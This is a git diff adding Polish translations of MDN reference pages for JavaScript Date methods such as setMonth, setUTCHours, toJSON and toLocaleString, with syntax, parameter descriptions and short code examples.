+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setmonth/index.html b/files/pl/web/javascript/reference/global_objects/date/setmonth/index.html new file mode 100644 index 0000000000..7016cb97e1 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setmonth/index.html @@ -0,0 +1,56 @@ +--- +title: Date.prototype.setMonth() +slug: Web/JavaScript/Referencje/Obiekty/Date/setMonth +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia nazwę miesiąca dla określonej daty stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.setMonth(monthValue[, dayValue])
+ +

Do wersji JavaScript 1.3

+ +
dateObj.setMonth(monthValue)
+ +

Parametry

+ +
+
monthValue 
+
Liczba całkowita z przedziału 0 i 11 (reprezentuje miesiące od stycznia do grudnia).
+
+ +
+
dayValue 
+
Liczba całkowita z przedziału 1 i 31, reprezentuje dzień miesiąca.
+
+ +

Opis

+ +

Jeśli nie określisz parametru dayValue, zostanie zwrócona wartość użytej metody getDate.

+ +

Jeśli Twój parametr jest określony z poza szeregu, setMonth() próbuje zaktualizować informacje o dacie w obiekcie Date. Na przykład, jeśli użyjesz wartości 15 dla monthValue, rok wzrośnie o 1 (year + 1) i 3 będzie użyte dla miesiąca.

+ +

Przykłady

+ +

Przykład: Zastosowanie setMonth()

+ +
var theBigDay = new Date;
+theBigDay.setMonth(6);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setseconds/index.html b/files/pl/web/javascript/reference/global_objects/date/setseconds/index.html new file mode 100644 index 0000000000..7a50dd98a7 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setseconds/index.html @@ -0,0 +1,56 @@ +--- +title: Date.prototype.setSeconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/setSeconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia sekundy dla określonej daty stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.setSeconds(secondsValue[, msValue])
+ +

Do wersji JavaScript 1.3

+ +
dateObj.setSeconds(secondsValue)
+ +

Parametry

+ +
+
secondsValue 
+
Liczba całkowita z przedziału 0 i 59.
+
+ +
+
msValue 
+
Liczba z przedziału 0 i 999, reprezentująca milisekundy.
+
+ +

Opis

+ +

Jeśli nie określisz parametru msValue, wartość zwracana użytej metody {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.

+ +

Jeśli Twój parametr jest określony z poza szeregu, setSeconds() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty zawarte w obiekcie {{jsxref("Date")}} będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.

+ +

Przykłady

+ +

Przykład: Zastosowanie setSeconds()

+ +
var theBigDay = new Date();
+theBigDay.setSeconds(30);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/settime/index.html b/files/pl/web/javascript/reference/global_objects/date/settime/index.html new file mode 100644 index 0000000000..5aca5a36d7 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/settime/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.setTime() +slug: Web/JavaScript/Referencje/Obiekty/Date/setTime +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia wartość obiektu {{jsxref("Date")}} stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.setTime(timeValue)
+ +

Parametry

+ +
+
timeValue 
+
Liczba całkowita reprezentująca liczbę milisekund liczonych od 1 stycznia 1970, 00:00:00.
+
+ +

Opis

+ +

Użyj metody setTime(), aby pomóc przydzielić dacie czas następnego obiektu {{jsxref("Date")}}.

+ +

Przykłady

+ +

Przykład: Zastosowanie setTime()

+ +
var theBigDay = new Date("July 1, 1999");
+var sameAsBigDay = new Date();
+sameAsBigDay.setTime(theBigDay.getTime())
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setutcdate/index.html b/files/pl/web/javascript/reference/global_objects/date/setutcdate/index.html new file mode 100644 index 0000000000..81496f9c1f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setutcdate/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.setUTCDate() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCDate +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia dzień miesiąca dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.setUTCDate(dayValue)
+ +

Parametry

+ +
+
dayValue 
+
Liczba całkowita od 1 do 31, reprezentująca dni miesiąca.
+
+ +

Opis

+ +

Jeśli Twój parametr jest określony z poza szeregu, setUTCDate() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 40 dla dayValue, i nazwa miesiąca jaki jest w danym momencie przechowywany w obiekcie {{jsxref("Date")}} będzie czerwcem, to do dni przypiszemy wartość 10, ale wyświetlaną nazwą miesiąca będzie już lipiec.

+ +

Przykłady

+ +

Przykład: Zastosowanie setUTCDate()

+ +
var theBigDay = new Date();
+theBigDay.setUTCDate(20);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setutcfullyear/index.html b/files/pl/web/javascript/reference/global_objects/date/setutcfullyear/index.html new file mode 100644 index 0000000000..71ea1db756 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setutcfullyear/index.html @@ -0,0 +1,57 @@ +--- +title: Date.prototype.setUTCFullYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCFullYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia pełen rok dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.setUTCFullYear(yearValue[, monthValue[, dayValue]])
+ +

Parametry

+ +
+
yearValue 
+
Liczba całkowita określająca numerycznie wartość roku, na przykład: 1995.
+
+ +
+
monthValue 
+
Liczba całkowita pomiędzy 0 a 11, reprezentuje nazwy miesięcy, od stycznia do grudnia.
+
+ +
+
dayValue 
+
Liczba całkowita pomiędzy 1 a 31, reprezentuje dzień miesiąca. Jeśli określimy parametr dayValue, to musimy także sprecyzować monthValue.
+
+ +

Opis

+ +

Jeśli nie określisz parametrów monthValue i dayValue, wartość zwracana metod {{jsxref("Date.prototype.getUTCMonth()", "getUTCMonth()")}} i {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}} jest w użyciu.

+ +

Jeśli Twój parametr jest określony z poza szeregu, setUTCFullYear() próbuje zaktualizować informacje o dacie w obiekcie Date. Na przykład, jeśli użyjesz wartości 15 dla monthValue, lata będą wzrastać o 1 (rok + 1), i 3 jest użyta jako miesiąc.

+ +

Przykłady

+ +

Przykład: Zastosowanie setUTCFullYear()

+ +
var theBigDay = new Date();
+theBigDay.setUTCFullYear(1997);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setutchours/index.html b/files/pl/web/javascript/reference/global_objects/date/setutchours/index.html new file mode 100644 index 0000000000..437e4bae2f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setutchours/index.html @@ -0,0 +1,62 @@ +--- +title: Date.prototype.setUTCHours() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCHours +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia godzinę dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.setUTCHours(hoursValue[, minutesValue[, secondsValue[, msValue]]])
+ +

Parametry

+ +
+
hoursValue 
+
Liczba całkowita pomiędzy 0 a 23, reprezentująca godzinę.
+
+ +
+
minutesValue 
+
Liczba całkowita pomiędzy 0 a 59, reprezentująca minutami.
+
+ +
+
secondsValue 
+
Liczba całkowita pomiędzy 0 a 59, reprezentująca sekundy. Jeśli określisz parametr secondsValue, to musisz także określić parametr minutesValue.
+
+ +
+
msValue 
+
Liczba pomiędzy 0 a 999, reprezentująca milisekundy. Jeśli określisz parametr msValue, to musisz także określić parametry minutesValue i secondsValue.
+
+ +

Opis

+ +

Jeśli nie określisz parametrów minutesValue, secondsValue i msValue, wartość zwracana będzie użytych metod {{jsxref("Date.prototype.getUTCMinutes()", "getUTCMinutes()")}}, {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} i {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.

+ +

Jeśli Twój parametr jest określony z poza szeregu, setUTCHours() próbuje zaktualizować informacje o dacie w obiekcie Date. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty zawarte w obiekcie Date będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.

+ +

Przykłady

+ +

Przykład: Zastosowanie setUTCHours()

+ +
var theBigDay = new Date();
+theBigDay.setUTCHours(8);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html b/files/pl/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html new file mode 100644 index 0000000000..f12fd4c838 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.UTCMilliseconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMilliseconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia milisekundy dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.setUTCMilliseconds(millisecondsValue)
+ +

Parametry

+ +
+
millisecondsValue 
+
Liczba pomiędzy 0 a 999, reprezentująca milisekundy.
+
+ +

Opis

+ +

Jeśli parametr, który określiłeś jest z poza szeregu, setUTCMilliseconds() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz 1100 dla millisecondsValue, sekunda przechowana w obiekcie {{jsxref("Date")}} wzrośnie o 1 i wartość 100 będzie użyta dla milisekund.

+ +

Przykłady

+ +

Przykład: Zastosowanie setUTCMilliseconds()

+ +
var theBigDay = new Date();
+theBigDay.setUTCMilliseconds(500);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setutcminutes/index.html b/files/pl/web/javascript/reference/global_objects/date/setutcminutes/index.html new file mode 100644 index 0000000000..d3ea20bafa --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setutcminutes/index.html @@ -0,0 +1,57 @@ +--- +title: Date.prototype.setUTCMinutes() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMinutes +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia minuty dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.setUTCMinutes(minutesValue[, secondsValue[, msValue]])
+ +

Parametry

+ +
+
minutesValue 
+
Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.
+
+ +
+
secondsValue 
+
Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr secondsValue, musisz także określić minutesValue.
+
+ +
+
msValue 
+
Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr msValue, musisz także określić minutesValue i secondsValue.
+
+ +

Opis

+ +

Jeśli nie określono parametrów secondsValue i msValue, są użyte wartości zwracanych metod {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} i {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.

+ +

Jeśli Twój parametr jest określony z poza szeregu, setUTCMinutes() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty (minutesValue) będą wzrastać o 1 (minutesValue + 1) i wartość 40 będzie użyta dla sekund.

+ +

Przykłady

+ +

Przykład: Zastosowanie setUTCMinutes()

+ +
var theBigDay = new Date();
+theBigDay.setUTCMinutes(43);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setutcmonth/index.html b/files/pl/web/javascript/reference/global_objects/date/setutcmonth/index.html new file mode 100644 index 0000000000..78448e441f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setutcmonth/index.html @@ -0,0 +1,52 @@ +--- +title: Date.prototype.setUTCMonth() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMonth +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia miesiąc dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.setUTCMonth(monthValue[, dayValue])
+ +

Parametry

+ +
+
monthValue 
+
Liczba całkowita pomiędzy 0 a 11, reprezentująca nazwy miesięcy od stycznia do grudnia.
+
+ +
+
dayValue 
+
Liczba całkowita od 1 do 31, reprezentująca dzień miesiąca.
+
+ +

Opis

+ +

Jeśli nie określisz parametru dayValue, zostanie zwrócona wartość użytej metody {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}}.

+ +

Jeśli Twój parametr jest określony z poza szeregu, setUTCMonth() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 15 dla monthValue, rok wzrośnie o 1 (rok + 1) i 3, które pozostało będzie użyte dla miesiąca.

+ +

Przykłady

+ +

Przykład: Zastosowanie setUTCMonth()

+ +
var theBigDay = new Date();
+theBigDay.setUTCMonth(11);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setutcseconds/index.html b/files/pl/web/javascript/reference/global_objects/date/setutcseconds/index.html new file mode 100644 index 0000000000..8e8d003b67 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setutcseconds/index.html @@ -0,0 +1,52 @@ +--- +title: Date.prototype.setUTCSeconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCSeconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia sekundy dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.setUTCSeconds(secondsValue[, msValue])
+ +

Parametry

+ +
+
secondsValue 
+
Liczba całkowita pomiędzy 0 a 59.
+
+ +
+
msValue 
+
Liczba pomiędzy 0 a 999, reprezentująca milisekundy.
+
+ +

Opis

+ +

Jeśli nie określisz parametru msValue, wartość zwracana jest z użytej metody {jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.

+ +

Jeśli Twój parametr jest określony z poza szeregu, setUTCSeconds() próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty zawarte w obiekcie {{jsxref("Date")}} będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.

+ +

Przykłady

+ +

Przykład: Zastosowanie setUTCSeconds()

+ +
var theBigDay = new Date();
+theBigDay.setUTCSeconds(20);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setyear/index.html b/files/pl/web/javascript/reference/global_objects/date/setyear/index.html new file mode 100644 index 0000000000..ac89b296c7 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setyear/index.html @@ -0,0 +1,52 @@ +--- +title: Date.prototype.setYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/setYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setYear +--- +

{{jSRef}}{{ Deprecated_header() }}

+ +

Podsumowanie

+ +

Ustawia rok dla określonej daty stosownie do czasu lokalnego. Aby móc korzystać z roczników przed i po roku 2000, powinieneś użyć metody {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} zawierającej setYear(), która rok potrafi określić w pełni.

+ +

Składnia

+ +
dateObj.setYear(yearValue)
+ +

Parametry

+ +
+
yearValue 
+
Liczba całkowita.
+
+ +

Opis

+ +

Jeśli yearValue jest liczbą pomiędzy 0 a 99 (inclusive), to rok dla dateObjectName jest ustawiany - 1900 + yearValue. W innym przypadku, rok dla dateObjectName jest ustawiany w postaci wyświetlenia yearValue.

+ +

Przykłady

+ +

Przykład: Zastosowanie setYear()

+ +

Dwie pierwsze linie ustawiają rok w dacie na 1996. Trzecia ustawia rok na 2000.

+ +
var theBigDay = new Date();
+
+theBigDay.setYear(96)
+theBigDay.setYear(1996)
+theBigDay.setYear(2000)
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/togmtstring/index.html b/files/pl/web/javascript/reference/global_objects/date/togmtstring/index.html new file mode 100644 index 0000000000..2b4c296723 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/togmtstring/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.toGMTString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toGMTString +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toGMTString +--- +

{{JSRef}}{{ Deprecated_header() }}

+ +

Podsumowanie

+ +

Konwertuje datę na łańcuch znaków używając konwersji czasu GMT. Dokładny format zwracanych wartości toGMTString() różni się w zależności platformy.

+ +
+

Metoda toGMTString jest nie długo używana i została ona zastąpiona metodą {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}}. Powinieneś używać {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}} zamiast toGMTSTring().

+
+ +

Składnia

+ +
dateObj.toGMTString()
+ +

Przykłady

+ +

Przykład: Zastosowanie toGMTString()

+ +

W następującym przykładzie jest dzisiejsza data obiektu Date:

+ +
var today = new Date();
+var str = today.toGMTString();
+
+console.log(str); // Mon, 18 Dec 1995 17:28:35 GMT
+ +

W tym przykładzie metoda toGMTString konwertuje datę w czasie GMT (UTC) używanego przez system operacyjny w odpowiedniej strefie czasowej i zwraca wartość łańcucha znaków, która jest podobna do następującej formy. Format jest w pełni zależny od platformy.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/tojson/index.html b/files/pl/web/javascript/reference/global_objects/date/tojson/index.html new file mode 100644 index 0000000000..2509e99319 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/tojson/index.html @@ -0,0 +1,70 @@ +--- +title: Date.prototype.toJSON() +slug: Web/JavaScript/Referencje/Obiekty/Date/toJSON +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON +--- +
{{JSRef}}
+ +
Zwraca objekt {{jsxref("Date")}} w postaci tekstu.
+ + + +

Składnia

+ +
dateObj.toJSON()
+
+ +

Opis

+ +

toJSON() zwraca ciąg znaków (using {{jsxref("Date.prototype.toISOString()", "toISOString()")}}) reprezentujący wartość obiektu {{jsxref("Date")}}.

+ +

Przykłady

+ +

Użycie toJSON()

+ +
var jsonDate = (new Date()).toJSON();
+var backToDate = new Date(jsonDate);
+
+console.log(jsonDate); //2015-10-26T07:46:36.611Z
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}{{Spec2('ES5.1')}}Początkowa definicja zaimplementowana w JavaScript 1.8.5.
{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność

+ + + +

{{Compat("javascript.builtins.Date.toJSON")}}

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/tolocaledatestring/index.html b/files/pl/web/javascript/reference/global_objects/date/tolocaledatestring/index.html new file mode 100644 index 0000000000..c3b4b44198 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/tolocaledatestring/index.html @@ -0,0 +1,55 @@ +--- +title: Date.prototype.toLocaleDateString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca "date", porcje daty jako łańcuch znaków, używając aktualnych lokalnych konwersji.

+ +

Metoda toLocaleDateString polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, toLocaleDateString zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. toLocaleDateString postępuje podobnie do toString, kiedy konwertuje rok, który system operacyjny ma w niewłaściwym formacie.

+ +

Metody takie jak getHours, getMinutes i getSeconds dają więcej przenośnych rezultatów niż toLocaleDateString.

+ +

Składnia

+ +
dateObj.toLocaleDateString([locales [, options]])
+ +

Parametry

+ +

Check the {{anch("Browser compatibility")}} section to see which browsers support the locales and options arguments, and the Example: Checking for support for locales and options arguments for feature detection.

+ +
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}
+ +

The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the weekday, year, month, day properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then year, month, and day are assumed to be "numeric".

+ +

Przykłady

+ +

Przykład: Zastosowanie toLocaleDateString()

+ +

Następujący przykład today jest obiektem Date:

+ +
var today = new Date(95,11,18,17,28,35) //miesiąc jest reprezentowany przez liczby od 0 do 11
+today.toLocaleDateString()
+
+ +

W tym przykładzie, toLocaleDateString zwraca łańcuch znakowy, który jest podobny do poniższej formy. Dokładny format, jaki znajduje się na platformie.

+ +
12/18/95
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/tolocalestring/index.html b/files/pl/web/javascript/reference/global_objects/date/tolocalestring/index.html new file mode 100644 index 0000000000..60cb1c2853 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/tolocalestring/index.html @@ -0,0 +1,51 @@ +--- +title: Date.prototype.toLocaleString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleString +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Konwertuje datę na łańcuch znakowy, używając aktualnej lokalnej konwersji.

+ +

Metoda toLocaleString polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc, zaraz po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, toLocaleString zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. toLocaleString postępuje podobnie do toString, kiedy konwertuje rok, który system operacyjny ma w niewłaściwym formacie.

+ +

Metody, takie jak getHours, getMinutes i getSeconds dają więcej przenośnych rezultatów niż toLocaleString

+ +

Składnia

+ +
dateObj.toLocaleString([locales[, options]])
+ +

Parametry

+ +

Check the Browser compatibility section to see which browsers support the locales and options arguments, and the Example: Checking for support for locales and options arguments for feature detection.

+ +
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}
+ +

The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the weekday, year, month, day, hour, minute, second properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then year, month, day, hour, minute, and second are assumed to be "numeric".

+ +

Przykłady

+ +

Zastosowanie toLocaleString()

+ +

W następującym przykładzie, obiekt today jest Date:

+ +
var today = new Date(95,11,18,17,28,35); //miesiące są reprezentowane poprzez liczby od 0 do 11
+today.toLocaleString(); // 12/18/95 17:28:35
+ +

W tym przykładzie, toLocaleString zwraca łańcuch znaków, który jest podobny do następującej formy. Dokładnie to taki format, jaki jest w systemie.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/tolocaletimestring/index.html b/files/pl/web/javascript/reference/global_objects/date/tolocaletimestring/index.html new file mode 100644 index 0000000000..e41dce512d --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/tolocaletimestring/index.html @@ -0,0 +1,52 @@ +--- +title: Date.prototype.toLocaleTimeString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca "czas", porcje daty jako łańcuch znaków, używając aktualnych lokalnych konwersji.

+ +

Metoda toLocaleTimeString polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, toLocaleTimeString zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. toLocaleTimeString postępuje podobnie do toString, kiedy konwertuje rok, który system operacyjny ma w nie właściwym formacie.

+ +

Metody takie jak getHours, getMinutes i getSeconds dają więcej podobnych rezultatów niż toLocaleTimeString.

+ +

Składnia

+ +
dateObj.toLocaleTimeString([locales[, options]])
+ +

Parametry

+ +

Check the Browser compatibility section to see which browsers support the locales and options arguments, and the Example: Checking for support for locales and options arguments for feature detection.

+ +
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}
+ +

The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the hour, minute, second properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then hour, minute, and second are assumed to be "numeric".

+ +

Przykłady

+ +

Zastosowanie toLocaleTimeString()

+ +

W następującym przykładzie, today jest obiektem Date object:

+ +
var today = new Date(95,11,18,17,28,35); //miesiące są reprezentowane przez liczby od 0 do 11
+today.toLocaleTimeString(); // 17:28:35
+ +

W tym przykładzie, toLocaleTimeString zwraca wartość łańcucha znakowego, która jest podobna do następującej formy. Dokładny format, jaki znajduje się na platformie.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/tosource/index.html b/files/pl/web/javascript/reference/global_objects/date/tosource/index.html new file mode 100644 index 0000000000..8c82e39b09 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/tosource/index.html @@ -0,0 +1,49 @@ +--- +title: Date.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Date/toSource +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toSource +--- +
{{JSRef}} {{non-standard_header}}
+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.

+ +

Składnia

+ +
dateObj.toSource()
+Date.toSource()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda toSource() zwraca następującą wartość:

+ + + +
function Date() {
+   [native code]
+}
+
+ + + +

Ta metoda jest często nazywana wewnętrzną metodą JavaScript i jest nie wyraźna w kodzie.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/tostring/index.html b/files/pl/web/javascript/reference/global_objects/date/tostring/index.html new file mode 100644 index 0000000000..7d2ea5d92c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/tostring/index.html @@ -0,0 +1,49 @@ +--- +title: Date.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toString +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków, reprezentujący określony obiekt Date.

+ +

Składnia

+ +
dateObj.toString()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Obiekt {{jsxref("Date")}} przesłania metodę toString z obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref("Date")}}, metoda toString() zwraca łańcuch znaków, które reprezentują obiekt.

+ +

